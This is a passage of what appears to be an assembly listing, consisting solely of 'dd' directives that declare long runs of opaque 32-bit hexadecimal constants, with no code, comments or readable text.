0EF0AD92Ch, 17741907h dd 7BA199E2h, 40E656B0h, 3A018F2Ah, 0C98A3BEAh, 0C69429F3h dd 0B8C01DFDh, 41864AA9h, 3D9367F0h, 0E19B0B0Ch, 6FCD7116h dd 4609E3D5h, 0B02F5751h, 43DBB92Ah, 3E4DA942h, 105B10E7h dd 63E9C157h, 8BF279CBh, 0BF586F6h, 5D273D92h, 50ED82Fh dd 0D809EE5h, 0BC5FA8DEh, 9F41A439h, 76EC8934h, 568195BCh dd 0BA4ED13Ch, 0B104F3D6h, 4A7D2DCFh, 765FC4B8h, 7A62AFh dd 1B3A19A5h, 17FD3C94h, 0C0530785h, 0BF26DACBh, 3AF9AAADh dd 2B09A7E1h, 0AC3923DCh, 0B3262D54h, 0A70AA3C1h, 0D5DA0A31h dd 73271871h, 9F11F61Ah, 112D7553h, 589DCB18h, 0C69CD277h dd 638DF5Dh, 0E14FC58Ch, 0EE1044DCh, 1CBA87C9h, 30A3C8BCh dd 648D37F4h, 0C4A4AFF1h, 8E3532DDh, 84949035h, 0DE01AB33h dd 66143C98h, 9044A80Eh, 903BD134h, 0B6FCB6EDh, 0EB163E6Dh dd 0D4295C9Eh, 3D3F89D1h, 8CE173A7h, 0E800ED99h, 85CE0041h dd 71450B37h, 34B136DDh, 0B40AF55Fh, 8A9FAA6Eh, 33D114BEh dd 19825318h, 6810E4C8h, 4367C79h, 1702C9Dh, 74CB899Bh dd 0CEA0F891h, 342C79D4h, 22CC6C95h, 84E456Ch, 1A540FEEh dd 97EE7B89h, 0BFA4657Dh, 6F103D24h, 92E5631Bh, 0FA87671h dd 3EA7ED26h, 0CDEB487h, 0A0EB3345h, 92A46147h, 82CDD10Ch dd 8771F37Ah, 90817B70h, 0F1470ADCh, 0B467C5BFh, 6DE29642h dd 13A79074h, 851ED826h, 0B9713429h, 350D3F3Bh, 0C8A6DC47h dd 0B7692A83h, 2DAB690Dh, 43130CA7h, 0A479C6F7h, 12E29785h dd 9A31C319h, 72AF5A3Ah, 4C1D9029h, 3CD1F0D5h, 68B1E952h dd 965EF991h, 26A48BD4h, 4728F642h, 2FB4300Fh, 7BD858B1h dd 0FE8A02E4h, 0CA0137EFh, 0CD6F952Dh, 0C9CAA4C9h, 6BEC8932h dd 0C92F95B0h, 0FFC5B7E8h, 0EC8D9544h, 2B1059E9h, 3C482665h dd 8785B2C8h, 64F2BEAAh, 0E8379E7Ch, 85E74969h, 0FC71243Bh dd 0B4C096E8h, 0C98575ADh, 0C2116BB3h, 9A223CF5h, 4C05D8ECh dd 9A8C9FB4h, 6AAE0C2h, 687B8EE9h, 7D7F8EEAh, 0F62B1841h dd 79AE5FD4h, 582BA9A0h, 0A2FE4A76h, 1BD10D1Fh, 876EFA2Bh dd 0B65F15FEh, 194CB4F4h, 9DE1AFF6h, 69963292h, 0C22DED2Fh dd 0AB22D088h, 5D9434F2h, 61A9E17Ah, 0BAB12959h, 65413406h dd 0FB953F3Bh, 0C3E5C236h, 84756CAFh, 1B0D6DBCh, 17F76CFCh dd 0D06CE2F5h, 0FC4DBD35h, 378B19E8h, 0C699E0BCh, 43156F14h dd 2789E25Fh, 0B146EEA3h, 2BCD0426h, 0F8FA83E1h, 0A09D7816h dd 74AD0B19h, 0B7894E91h, 0B7219CA1h, 0FF126507h, 62A180E5h dd 57476CA4h, 0E772AF25h, 0C579B9A3h, 0F41E8C18h, 0B2316326h dd 77CB8B5Dh, 4113D499h, 36C8E337h, 5A91E84Ah, 1BB49596h dd 0FC6B2D69h, 99023AA2h, 0CD4CD65Bh, 542B3490h, 9882D0D3h dd 66DB14A5h, 9BF0157Fh, 85E7E645h, 3A3A8EB4h, 0B90D3EEAh dd 0C98DF384h, 0C59C53D0h, 33DBDC32h, 0C925A46Ch, 3D8B6914h dd 8697470Ch, 13C8336Eh, 7C086078h, 31360E1Ah, 73D0F860h dd 227EA246h, 2ACB4DE7h, 59150DE5h, 638E68Ch, 4694B80Ah dd 18B31D1Dh, 7714AD90h, 0CDAB6793h, 494F21DFh, 0A851588Ch dd 0EA7236F6h, 5DC26337h, 0EF4E28A9h, 20CA8BDh, 566A0F31h dd 0FAF0BA95h, 682A6AEAh, 0E4F35F52h, 92F72DFDh, 0EA6A5743h dd 3AC1FB07h, 5CE540C6h, 42913521h, 0B25C2306h, 2C4702A7h dd 0C7530EA7h, 29F60C4Ah, 579C0E0Eh, 11658CEAh, 6D963296h dd 31126318h, 47326D77h, 9932BCD9h, 0B839FF16h, 1A4B0FF9h dd 636F842h, 0ED9EB9FEh, 713648AEh, 4B0CAF6Ah, 64FC2A95h dd 0CBCA2394h, 4B8DDE3Dh, 359FD524h, 0E7AE19BAh, 0E1C7DBA6h dd 2F8A74Dh, 0E61CD8D2h, 0A5FDC6E0h, 15F17BC4h, 0E7F9C7A7h dd 1D76E9BFh, 0C1B0107h, 780A62D2h, 788580F1h, 3DCCFCDFh dd 412DE6F8h, 7DBA9AA0h, 0B800D31Ch, 0A6C3C54Bh, 4BE6F2DAh dd 6C9988E6h, 0F9FDB6D6h, 0B02BCACCh, 0B95DE1A3h, 60BAA117h dd 0D33E2D56h, 8117C16Ah, 0DBEF79C1h, 795AB990h, 892C6648h dd 0B0ED1Bh, 85E0FE03h dd 8534AC8Ah, 0A23FE137h, 1476F737h, 6EE119B1h, 0BFC5DBF4h dd 7ECE76D2h, 6A1CF202h, 4A6184D9h, 8972E9B7h, 0C6184EF3h dd 9DF7A4F2h, 0F1DB72CDh, 0C3FD9F71h, 7087EB73h, 42983E1Fh dd 542F3Bh, 0CBF1A554h, 0C553D3B3h, 68B48D18h, 237838Fh dd 4A511D9Dh, 76521822h, 0AC11CE14h, 0B9D21CA1h, 51B77D02h dd 0C5034C6Dh, 0C80CC16Ah, 3C94E2CDh, 0EC9BBC8h, 40ED4391h dd 2E152690h, 7C03296h, 8992BC82h, 36FF2DA2h, 0A80088C6h dd 8B8F82AAh, 0EB0B5869h, 41440980h, 98E120DDh, 1AA80B1Bh dd 8AF77378h, 70BBC1AAh, 0D1EBA0F2h, 0EC7508Ah, 0E94A8342h dd 21415416h, 99193F1Eh, 8F68A403h, 75BA3F2Dh, 0E9B10564h dd 0AE3B8AD1h, 0C9960243h, 13E41912h, 0B4E0318h, 0A05772ABh dd 0BA562CA1h, 1EFBAA58h, 82C14FE5h, 33C80D1Dh, 47F67B12h dd 0FD646D7Fh, 90C03F86h, 0AAB5C13h, 59236F68h, 405523C1h dd 29BEAC63h, 0E4E894C0h, 2F2D6AEBh, 33135AA7h, 348FBA1Dh dd 0A1EFA0F4h, 7AB83BBAh, 8AF16AFDh, 6DFB8728h, 0EBA67272h dd 0C1F7104h, 0E4485344h, 0BE1AD492h, 0C31B3952h, 43DAEA80h dd 0CC67E417h, 976684A5h, 0A4CFC6C9h, 4BFCE0DAh, 74A99EFEh dd 0FA065ED4h, 0F46902CCh, 0DD8792C2h, 8CD5A4DBh, 98C12931h dd 0EA470F09h, 0FF34FA40h, 2EC1BBF2h, 0D0A7CC77h, 0FE0A3DE6h dd 780FC15h, 616AC95h, 0AA6513AEh, 0ADDF4498h, 642D8D5Dh dd 304A8BCEh, 614175C5h, 9AF599Ch, 942B5265h, 0CB72EE20h dd 0AE7A40F0h, 9E2D4B77h, 442CB959h, 0B148B4F0h, 0DE0947F3h dd 0C1D5FE10h, 0F6E5EBB9h, 0C331B09h, 0C7442196h, 25A89C85h dd 8F4B560Ch, 10DF20DCh, 77D69255h, 0DFAABB1Ah, 386279DDh dd 8F7DDD52h, 0D7CE413Ch, 7E6E5664h, 8CCB324Ch, 0A90757Ch dd 0E481C08Fh, 709953CBh, 5CE37F58h, 0CD9525D8h, 0AF23EC29h dd 69D2D902h, 2B2FA28Ah, 0C31E5857h, 0D805B41Bh, 3E1E3574h dd 21EDC344h, 8B6A6820h, 0B4784AEDh, 3B27A6Fh, 0D56EE288h dd 0FC76541Dh, 70862F66h, 0F87BE4FFh, 49DF2533h, 6BDD7B99h dd 0C753ACAFh, 55AFAD05h, 142D9CBDh, 1218B89Dh, 7B6F2057h dd 0FBB8C418h, 0D08904D2h, 52AA79B9h, 5A774E60h, 747D8C20h dd 6A19B314h, 83E1D0ABh, 73156916h, 0DCF12ED6h, 8A486512h dd 309CCE95h, 0A7E9D0A5h, 0AD72C500h, 0C8A494DEh, 56C5C623h dd 0CD5475AEh, 0C2946BD1h, 542B5CDBh, 0D07EAD3Eh, 0EFCDAB81h dd 0E099FD36h, 85E518BAh, 0FC4B5F9Bh, 215D2BBAh, 4092BDF2h dd 8F53B29Bh, 2031B6A9h, 0C74F4447h, 0DA4DAE85h, 651EAC7h dd 0DCAFFA62h, 671E2055h, 3324941Ch, 6ADFED62h, 1625EF46h dd 0D339CE4Ch, 0F9E1D46Ah, 45E2E684h, 0D928607Fh, 4865F140h dd 24D96318h, 0A39C8CAh, 0C09B2BCFh, 2D353D4Fh, 53514643h dd 70E4249Dh, 8C9296A6h, 450B964Eh, 5B9521AAh, 5CAB050h dd 0EC82E9D3h, 0E410DAA3h, 1C808972h, 0E73B6578h, 49295085h dd 0BE0D80AEh, 3110EB22h, 49EF52B2h, 4A4E0465h, 433E57AFh dd 2D177DCCh, 0DBD55787h, 18B0EA6Ch, 9A6EB35Dh, 0BAE5AE5Ah dd 0A4D8DCA1h, 5E26A42h, 8FF7D5E5h, 7EB30F1Dh, 0FD5B242h dd 0E418D9F4h, 7DF6B4F6h, 37D1AD9Fh, 9A8173E0h, 4263EA44h dd 7F3CACF0h, 0D1C54471h, 4B5F535Dh, 53C7DBAEh, 0CB0C1642h dd 6E1E269Ch, 0D2B0C01Fh, 50F36DE8h, 0EF0F1E26h, 45748527h dd 0C3699D4h, 0A63BAB38h, 6D84E823h, 0C8779E6Bh, 8F52A6F3h dd 0B32BFBF1h, 5CC4AA2Eh, 0A6EFF24Bh, 472BDEC2h, 70466826h dd 730EBA97h, 31A9FB1Ah, 2A963A3Ah, 52ABB9DBh, 0D73ACE90h dd 0E3C7C46Ah, 9E571BCBh, 0B3BB30F6h, 0DB753FFAh, 0E4782251h dd 801425A9h, 8954A08Bh, 2CBEC294h, 59155896h, 5AE1198Ah dd 0C5CDC3B4h, 3A147652h, 7E1EDAEEh, 81E0C05Bh, 7B936A22h dd 6FF35AACh, 7748D28h, 0CE3CA66h, 459291E5h, 0BE05852Dh dd 0CB1B8717h, 0CAD8470Ah, 3C7DFBDDh, 8EC8BE27h, 0A60F2844h dd 5533D0C2h, 108574EAh, 6CD50296h, 0E3EC8618h, 2690D22Eh dd 5BAB61D9h, 28A4F468h, 6AA80DE9h, 50E1A742h, 862404B4h dd 3DE6B4F6h, 7C62409Bh, 0CE43671Bh, 0DD4F23C6h, 2FA3E920h dd 564444B7h, 152FEAE4h, 0DAA6833Fh, 3A04FF6Bh, 87C2E18h dd 1AA04A92h, 0B8FA676Eh, 0E0FC3497h, 17FF85FEh, 0EEB456Dh dd 0BD0289E7h, 0BCDA752Bh, 0C1C77C4Fh, 410EE318h, 72B08D7Dh dd 440C227Ch, 2D0BDA43h, 523BD0F2h, 89263E1Eh, 60CE22E5h dd 322DDB1Ah, 55D6B16Fh, 175D297Eh, 287610E7h, 0AA7294B3h dd 536BB236h, 6F5D30F5h, 7385F17Fh, 7D54ADA7h, 598427A8h dd 89D4A8A3h, 0BADFF4BAh, 0C4EB3297h, 172D9E46h, 0B8E56D7h dd 79417466h, 909D7377h, 21895A81h, 6BB62B22h, 0ECB6DDA4h dd 9ED3D9E7h, 0C06D34A2h, 6985B335h, 0BEDE4515h, 8B1BFF12h dd 41B9CD9Fh, 20B57D58h, 0C5436BAFh, 0D1452850h, 0FCD57D7h dd 92BE1D46h, 0B46DD35Dh, 0C624EB99h, 0D21D9A6Fh, 48A8ABB9h dd 0B12E4E64h, 0EFF3CE6Ch, 2266E681h, 0B620F6E3h, 33765FD3h dd 0E58A2ED9h, 8AC2FA37h, 4A8BE040h, 5BB7B4D4h, 1A2C270h dd 84E11B96h, 3E89D4ECh, 0A904DADEh, 0FFD0AC1Ch, 59780899h dd 804B7D27h, 391FDC09h, 304316AFh, 85E6FCE0h, 3A25BBAEh dd 635D1876h, 0C1CF9C18h, 0E1EE2538h, 7314E53Eh, 500583F4h dd 625EFEBh, 44A7FAC4h, 65C9783Eh, 48DD2C3Bh, 0E8F17E95h dd 2D6944A9h, 7928E42Ch, 273DAE90h, 6D85A41Fh, 5B17B70Eh dd 552030F7h, 21B53DF3h, 90BADED9h, 4EAFFEDBh, 1DF9D636h dd 30DE64C0h, 49574668h, 56F76DA8h, 0FA421798h, 938DF34Dh dd 0FEE1E789h, 0DA903E33h, 0FFB2EE63h, 0E4F2BA3Bh, 9201B46Fh dd 65E8F17h, 0C7C03E86h, 214DEBBDh, 0C5D7FC67h, 0C6982DF3h dd 386C8E0Dh, 0C1496C2Fh, 2F8AA113h, 0FF40002h, 9890CE9Dh dd 7865D31Eh, 525B8612h, 2C55D89Dh, 0C3B12D1h, 0D4F28812h dd 0D9B86FF9h, 7687D237h, 96E47530h, 334DB4F6h, 7CD1AF99h dd 4EC38F66h, 4FD82130h, 6791DA57h, 42FD2C1Fh, 54E719EAh dd 7B1D2C4Fh, 14083B95h, 0C91C2B6Fh, 14D485D7h, 2B4A17AAh dd 9B3BD05Ah, 17FEF586h, 18DDE2h, 3A785D09h, 4B0E6CE9h dd 0D5D1DC14h, 0DA986C03h, 3C7F7DEDh, 4417543Ch, 0A00D6A43h dd 50DCED4h, 91E84993h, 71A2A8D6h, 4CAF6ED2h, 0C5EA31A6h dd 0FA32861h, 0A6583EEFh, 2B76C99Fh, 0F0B719E9h, 476E1009h dd 0E94DF131h, 0FE51269Ch, 0C2D8FE25h, 0FD4508Dh, 0B4F02D57h dd 1432B389h, 5A4D7394h, 630D5803h, 8957007Eh, 5699E3AFh dd 73294921h, 850EAC6Eh, 0FC329D3h, 0E8371266h, 85E60E0Ah dd 3C3EF3C1h, 0B6B63F78h, 0B795935Ch, 0EE98AC73h, 2C7FFDCDh dd 4D53F8A7h, 6E84FF90h, 5467948Bh, 9550061Eh, 0F9A2A0D0h dd 30A4AB93h, 896122Dh, 0E412AA53h, 56B04664h, 5EFE2E08h dd 5F8E71C9h, 0CD5E4EF7h, 0B8569C85h, 4361D81Fh, 734DB029h dd 0CB9FA8E8h, 0C13EA144h, 0CBEC88FCh, 0E32D6ABBh, 48302C92h dd 60E59771h, 0E81E375Ch, 25F149Eh, 4CBEF023h, 0EDFF02DEh dd 633F166Ch, 0B59DEDE9h, 7143D728h, 1C6EBB75h, 0B66312D1h dd 892C01C8h, 443DF2C5h, 0B03F29BCh, 0A647D6C0h, 46773AF2h dd 0EF8C7F95h, 881B3C54h, 44043EB1h, 0DC1CBCCEh, 855AECDBh dd 6FF2BD29h, 7F817B64h, 0A2379A9Eh, 1D9B20F7h, 0BA5AE4FAh dd 59B5A594h, 41E424ADh dd 3F1F2DCAh, 24CA5ABh, 8997C89Fh, 0FAC790Fh, 18B85715h dd 2EC4C885h, 571C7013h, 4E299FEFh, 539C0A31h, 0E8AEBB85h dd 0F77F8DE0h, 0D2EBEEh, 0A9C320C1h, 350C6371h, 0CAEDF717h dd 3DC469E0h, 302D7E1Eh, 0CD67DEACh, 2EC9A98Eh, 17D33F87h dd 0EEA49D16h, 7E81825Bh, 0B7240E90h, 235679E6h, 7F2A1D52h dd 8BFBC5A5h, 13FE6FE1h, 0CFB9F200h, 578C58F7h, 92FBB4F1h dd 9D312EDBh, 8C86584h, 95136C40h, 0BB74F9C5h, 69A840ECh dd 20A49332h, 0FAA6DB05h, 2004FB20h, 2A7D2E17h, 0C85FAB23h dd 50E90267h, 0F4637FC3h, 876C87F9h, 1571747Eh, 38274B92h dd 350EA46Eh, 9ECB841Fh, 0CA30A2D4h, 0F702F73Dh, 4C805929h dd 530AAAC0h, 0FE1CA97h, 59555927h, 0F77F0B5Ch, 8E4D16D4h dd 70099BA6h, 11630D80h, 0EF7ECE6Eh, 0C0F883E9h, 47EBB638h dd 41844D4h, 8295DEF2h, 7DC12EDDh, 48A86048h, 0C0536C38h dd 0F1BEACC8h, 240B2FB1h, 0DA65B7A6h, 0DA4A57E6h, 7105E3C6h dd 9F85699Bh, 30245F72h, 0B799AE4h, 0A134F2A6h, 17FCC998h dd 857F71EFh, 4407AC9h, 0CAF47B11h, 39162FECh, 4AD8AD45h dd 397F7DE6h, 0C553E0D3h, 2E91ECB8h, 4FD0458Ah, 19B98D9Eh dd 8290E8B2h, 8CCD1418h, 13D6E3A4h, 0DF58E952h, 0F47680E0h dd 0BF38AD13h, 17B8C91Eh, 0E66EF886h, 6965F17Eh, 4E6EA314h dd 720188D1h, 24166A9Eh, 0DC322825h, 1CEB3CDAh, 0A5ACCADDh dd 44ADA765h, 0A820072Dh, 6F1DF765h, 0D0A79B97h, 507D9234h dd 1CE10200h, 92E2CB95h, 0EEBE828h, 0FCF48A8Eh, 0DA8E1D0Eh dd 4040E8F4h, 0F3D14ECAh, 0DB868AB5h, 0D3BB5B84h, 0A145B43Ch dd 51C73EC2h, 1D40D49Dh, 0C4DD32AFh, 7EC1C541h, 28C6BB2Ah dd 194E56ADh, 39F84501h, 7170D41Ah, 5E74A2DCh, 0BB8B60FCh dd 0AA473DF3h, 7DA390Bh, 0CD90B7EAh, 7C5AA3FCh, 0BF27A7F3h dd 0B244D124h, 2E59F35Dh, 238FA9ABh, 0A1410251h, 7B96928Dh dd 0B85896B9h, 9936D21h, 1865E92Fh, 5279DD6Bh, 71841319h dd 3A9D1FCDh, 41EB108Bh, 39A2F5D5h, 224CD426h, 0CEF4A011h dd 42A4BC6Bh, 20B84540h, 60D0D50Ch, 7382B6FEh, 958CFAA2h dd 8599256Eh, 54D9D160h, 0BB368BD1h, 87ACE1B8h, 0AFD00FE6h dd 0F20F5CAh, 0F5AC747Ah, 0D201C0A3h, 0CE212ABCh, 374C03F4h dd 18094CF6h, 0C3487C7Ch, 0BA08C618h, 0C027894Ah, 1849C340h dd 9C2F3910h, 10C8DD41h, 0D2FD1FDCh, 939D51F3h, 6CABF002h dd 1FF9D258h, 9E8884DBh, 597ABA26h, 11339A2Dh, 332F73F6h dd 60B569D6h, 2149FFB5h, 452EFB9Ah, 0C34133C1h, 0CDDB4847h dd 805A69D1h, 6DBCAB5Dh, 4C64356Eh, 761326CDh, 0D6227051h dd 0BBE7157Ah, 0C086D4E8h, 0ECDC0F03h, 0B4F409h, 6C9DE729h dd 4FD126C5h, 1D768676h, 0CCD2644Bh, 3D37A71Ch, 9CA84A5Eh dd 0AA4874Ch, 0CAABDE6h, 97573181h, 0A45931FAh, 7C4F171Fh dd 0D987E738h, 0D8750CE5h, 16F1C9D7h, 1FA88CBh, 0B9E51A18h dd 3D4EDDA5h, 20EE8860h, 0F5812241h, 308C3B6Bh, 3A28C659h dd 72A4748h, 0E9D097EDh, 0DD949ACBh, 0AD27C8DEh, 6CEAA3E4h dd 432FC929h, 43281521h, 2B648695h, 0F0946CE7h, 9A7C0D3Fh dd 7EE43CCBh, 7981C0FEh, 3282D0D9h, 0B04028Eh, 0ECFAAB5h dd 3D4BC0EEh, 7F202FCDh, 0EB5B7A4Dh, 4ABFB948h, 8C8D3885h dd 9E822921h, 41A6359Dh, 915186AFh, 0DEA7B1DCh, 2F144D5Bh dd 44AF6633h, 43200D5Bh, 0BE13D029h, 0F583153Ah, 76F689E3h dd 3542DC3Eh, 412DB659h, 21DD45D0h, 0F5059687h, 4709E319h dd 4D5C44A2h, 0D45ECA6Eh, 3210D144h, 0BB40A951h, 9990BABDh dd 0EC52476Ch, 0F7AEA2B5h, 98B73833h, 61603607h, 76E121D9h dd 842E6274h, 7218BED2h, 0C1C8B745h, 0B311E69Ah, 16AB0087h dd 44FBC8Bh, 0B58C01BEh, 3A975A78h, 0B52B57A5h, 0C3569F67h dd 136E20A7h, 40D1235Ch, 7A33012Dh, 0B3864FB5h, 76355A60h dd 39F67558h, 0F5ABBD1Ch, 0C1D4D335h, 48206753h, 8F071F1Fh dd 68FDC56Bh, 183BF646h, 0B2DAF855h, 0C0278F9Eh, 157127A4h dd 5130E055h, 8384DA81h, 0EC0A0DF1h, 0FDA2F75Ch, 94AB39D1h dd 67BDAB83h, 32E0269Ah, 0D8F0FFCDh, 45E0494Eh, 0CA6CDC20h dd 0A7EFF9D7h, 0EB201735h, 68604C8Fh, 0D106475Ah, 0F46DBD03h dd 6CD3675Ah, 0DC8CCF47h, 91A078FFh, 0E8CA3AE2h, 7A8EFCD3h dd 0D4E4E1A7h, 0C8284922h, 0D0D136A0h, 0ED225FEFh, 0E6CAA1B4h dd 83E9D273h, 1D9A9849h, 2F241182h, 0A07A7E1Dh, 7DCDCF99h dd 0EED86168h, 1D5F92E1h, 6DD7F1F5h, 0C367445Eh, 0EA5282C6h dd 7FE8A578h, 0B5F4A251h, 91476017h, 78017C2Ah, 7AB3C3Ch dd 7287BB91h, 0FF5F4EDAh, 66C8E27Fh, 624DAB8h, 0FE5F4C1Ah dd 0A3151465h, 0E44C8D02h, 29E8F1A0h, 7B6012D3h, 64D98354h dd 3F6EC467h, 3A26B62Ch, 0DE05029Dh, 3FDBD6E8h, 1942CCBBh dd 1DE99283h, 86AD7D91h, 605D517Ch, 0E5A5BCB8h, 4C3261F9h dd 0B0F465FAh, 62A7DF72h, 10299150h, 284D0CBFh, 8AE2F89Fh dd 29F12B96h, 0F95BA5FEh, 66280655h, 0AAACB834h, 0CDC9435Ah dd 6B88608Eh, 8C4BD24Dh, 6A95997Fh, 0BF722D05h, 0A41368D3h dd 475215C0h, 6BCCD042h, 39B10D99h, 7BD3F275h, 429D2254h dd 64FFD5D4h, 6E5C4C12h, 6B0BC614h, 0FF770DF4h, 4A3A1D5Bh dd 19F6B83Eh, 0E0C52CB6h, 5E65EA26h, 0C88A0F6Ah, 75CB9E8h dd 11DA944Fh, 7AF4F59Bh, 12B2AB96h, 87EB502Fh, 0EFC779B4h dd 5E133DDBh, 0CA0140B1h, 0C2AEB4AAh, 20D380B6h, 0B8D03216h dd 3930B1FDh, 19DADBD7h, 7A10C22h, 0D7FB53CFh, 76FCF5DAh dd 0FFA3BAE9h, 664996A5h, 1E8CA7C9h, 0C7071AD0h, 0B57D73D6h dd 0F8271AF9h, 540D1974h, 1B46DA10h, 0E5B5B6DAh, 0ED98131Fh dd 0F2BDA285h, 45DD05C9h, 0F470B206h, 11A16924h, 6F423FFBh dd 0F48B7ED3h, 8B582ADAh, 0E258B1D6h, 95E868D3h, 6F2EF2E2h dd 430C1CE6h, 0FAF4B137h, 0D53A5965h, 22686034h, 0C5EABF97h dd 803497F4h, 68CE0696h, 5A64A0FAh, 0A35A5F36h, 40DE6B6Dh dd 0A74BCB6Fh, 0CDD01231h, 0C43E3892h, 0F441FEFDh, 0E75486ADh dd 0FB96CB7Ah, 103C4681h, 0D48B80E5h, 9BF8CC8Fh, 0CAF82335h dd 6E175A11h, 9289E818h, 0FAAF5A9Eh, 0D707A54Fh, 0CB400CD1h dd 3BCD843Ch, 6E9C2353h, 373928E9h, 5D6B74Bh, 1828AE45h dd 98E1A642h, 6BCEF3DDh, 65677E34h, 0AC6B4F49h, 7BAF047Ah dd 0F30861CEh, 172E9AB7h, 9584508Fh, 0B2331095h, 6DDE6837h dd 4EAF3C1Fh, 485E8C7Eh, 847F2B3Ah, 0C7E5AFBh, 47CF8AC2h dd 0B6FE3F5Dh, 0A892AC2h, 62571039h, 81B18E7Ah, 0FBDF8D9Dh dd 74CC0F14h, 0AF7E6A74h, 6A9AC452h, 0EA72F57Eh, 9171D3E7h dd 56D2FB7Bh, 693B819Bh, 16359434h, 8B63534Ch, 5BB2C2E0h dd 62D3F870h, 0D48AC24Dh, 426A8572h, 0E4EB4E70h, 0A20217B2h dd 1D865C30h, 8CA0F0B0h, 999780EBh, 9002AC4h, 4E224164h dd 6CC8FE8h, 0F05B670Bh, 26BB47F0h, 80F30982h, 0E717337Ch dd 0D9A1BB40h, 817C7B3Fh, 67EDEF50h, 9B2B5FBFh, 1029B482h dd 531FA26h, 0EC7F755Eh, 0F5E7E4C4h, 86B6E0FCh, 0F3684D70h dd 3D99F8F6h, 396FDFC3h, 0D3A6F0EBh, 0E43D2957h, 0EE2A6925h dd 71156345h, 285677D3h, 0B0DB3DBh, 7B68C402h, 4C125EE4h dd 9DEFF159h, 6E6269ADh, 6779A2BFh, 0BB128AFDh, 981BFB11h dd 37EB7EF4h, 97D7C2F4h, 0DE475E10h, 0C9282B9h, 0CC2DD310h dd 92C5C37Dh, 0F3568884h dd 7354A92Eh, 6960262Ch, 0A3666FE0h, 0E514A940h, 0BB831284h dd 0B4CB0725h, 0CA87C008h, 0FC144ABFh, 0D5CD51Fh, 44D24C2Ch dd 4519ECB2h, 2340FB30h, 0DA63E02h, 61E4106Eh, 0F1FA7BC5h dd 8AD6C886h, 2B2B20Ch, 0CFD6C77Ch, 0FF79C46Dh, 0C96C89D0h dd 0A22CF68Ch, 17051305h, 8BDE2Dh, 726183F8h, 99813D6Bh dd 0CF766D7Ch, 95C84A20h, 5C235596h, 0F69C0EFAh, 4850C087h dd 3FD43145h, 2717037Ch, 372F1112h, 81B88BA1h, 2A77645Fh dd 4F4D2AFCh, 651AC271h, 0DED27294h, 836789EEh, 77E382E7h dd 91A6A5CCh, 0DAFEC159h, 6325601Eh, 27AB50C3h, 0A0D2BCD2h dd 7C35F12Bh, 0F0FA5150h, 0EA16AF5Ah, 398266A3h, 1ED44AC6h dd 67170BD2h, 98E974AFh, 21524B23h, 6E2BB413h, 80820993h dd 6675C793h, 43FAF4DFh, 17B997E5h, 0FEA87C79h, 19BAA71Ch dd 61BD19CDh, 1A30F2C6h, 11BB20A6h, 964A97Dh, 0EB862529h dd 63DDB4Bh, 0B7432B74h, 2B8BD7DCh, 0B0FCC2ADh, 80914C8Eh dd 0F93F8D2Dh, 778C0F54h, 164769F2h, 0AA112FB6h, 4C4465C9h dd 0A7A72748h, 8759C2FAh, 24792E06h, 0CB8EA6DAh, 9D168595h dd 57F6B7ABh, 94C07EBAh, 453DB31Dh, 429A195Dh, 0D48C81A7h dd 27BE389Bh, 7D139AF0h, 72318310h, 988358F9h, 0A8E87D54h dd 0FE5F747h, 5E35266Bh, 7AD99347h, 0E6FEBA40h, 20BC610Bh dd 67569F39h, 0AA495112h, 0D1A3D6B7h, 5CB6ECA6h, 5F4D8F54h dd 9BCECE81h, 7F4D0DE1h, 0DE9BC84Ch, 24A8A44h, 785A5E82h dd 0B9C55B1Ah, 4799EFFEh, 0A8D7BFC3h, 0F70906C4h, 396CF7B8h dd 24205D60h, 0CE9DECEEh, 0A2BC3A04h, 219C3EF7h, 4DB22955h dd 0D69F057h, 2056F23Fh, 2FBCEEE1h, 0C0ADA2F0h, 0EEDFE11h dd 8FE8967Ah, 8B518575h, 0CFC6C71Ch, 0D33366A8h, 4C12713Ah dd 0A6E87BBFh, 0E8B3AF36h, 801E87FEh, 73A3A551h, 8C185323h dd 28349B0Bh, 4F48C2EFh, 0BED04A83h, 7F5FF905h, 0D2578352h dd 11B87475h, 0E062DE64h, 0FE04C9CAh, 0C4E59DB7h, 15ABAABEh dd 1A69C0Eh, 407972F0h, 0B598EA75h, 7D623C8Dh, 4877B643h dd 9D5B3B04h, 0E7738858h, 42668557h, 0DB774F38h, 685318DBh dd 0C986189Fh, 8D316CC8h, 0DE6044A1h, 8AB62374h, 0CA805FB9h dd 0D1142DE6h, 867CFA6Fh, 20E863A3h, 0B31D4D5h, 601F2625h dd 0DF9A5D57h, 86A40323h, 8BA9AA8Ah, 91D2D641h, 0AB8B8730h dd 8CE00E3Dh, 19A275BAh, 6854C721h, 8FE9E0C7h, 0C08E0F10h dd 7A949566h, 0DCA23C9Bh, 0FC5352C4h, 4BD7C10Fh, 0CCB8CCE2h dd 659D237Eh, 2E39B6C2h, 211E7CC8h, 733F4F40h, 0C970C0DDh dd 0E0600EE4h, 0EBFFAD19h, 0DCEC897Dh, 6B5BF34h, 0EE42214Ah dd 0D92DF791h, 85D9E3FBh, 0A8E1D5EBh, 849D0923h, 0F5A8508Fh dd 62C79CC7h, 4C954A9h, 2954F1C0h, 889C96AAh, 0E6EEBB18h dd 0CE945D7Eh, 0E37199F2h, 89E44E60h, 5DAB4556h, 1C4C22ECh dd 68676C17h, 3B07C012h, 0CDE5A717h, 45209A8Eh, 0A0C1555h dd 0BFB51F86h, 876F66E4h, 0F6CB542Fh, 4BB02ED8h, 97866EBBh dd 0A6B54D5Bh, 573E0D92h, 30AA8153h, 0E803BD19h, 529FA561h dd 20AE78F1h, 733A4E2Eh, 2F17819Ch, 86D5FF3Bh, 0D162D66Ah dd 581207D1h, 62EBAC47h, 6AC74409h, 26DA3A85h, 0E3F1CEE9h dd 14A4C270h, 2A62EF5Ch, 4F496EEAh, 1243C0F5h, 34D007B1h dd 5547454Ch, 0B9F5F6D1h, 6F032C8Eh, 4777C205h, 1A259E95h dd 0F1FD1B92h, 0F059839Dh, 96BF09F8h, 67AA1E25h, 57166B33h dd 0AAB87580h, 0D680AAF8h, 77B7930Ah, 0F6290E57h, 0F64E3Ah dd 0E8D7AD1Fh, 0C48DE56Dh, 0FB990AF4h, 0DF201936h, 0D438F7FCh dd 0DE58B27Bh, 0AF4C4E97h, 13EFA9BFh, 6E47A6CCh, 0A838F38Dh dd 0BA927C82h, 55D639EAh, 674416A9h, 0AB5A2FBBh, 91D4A2A0h dd 169BB70Eh, 0BAFDE5h, 0EE5305B1h, 2DE702C0h, 0D16BAF9Bh dd 0FA868E26h, 1C92D47Eh, 1EB3F6CBh, 0BBD29681h, 0C9F4F0F3h dd 0A1FBE567h, 22CDC876h, 77E435D6h, 7D4C6FBDh, 0E37CC40Dh dd 86406D05h, 2464F54Eh, 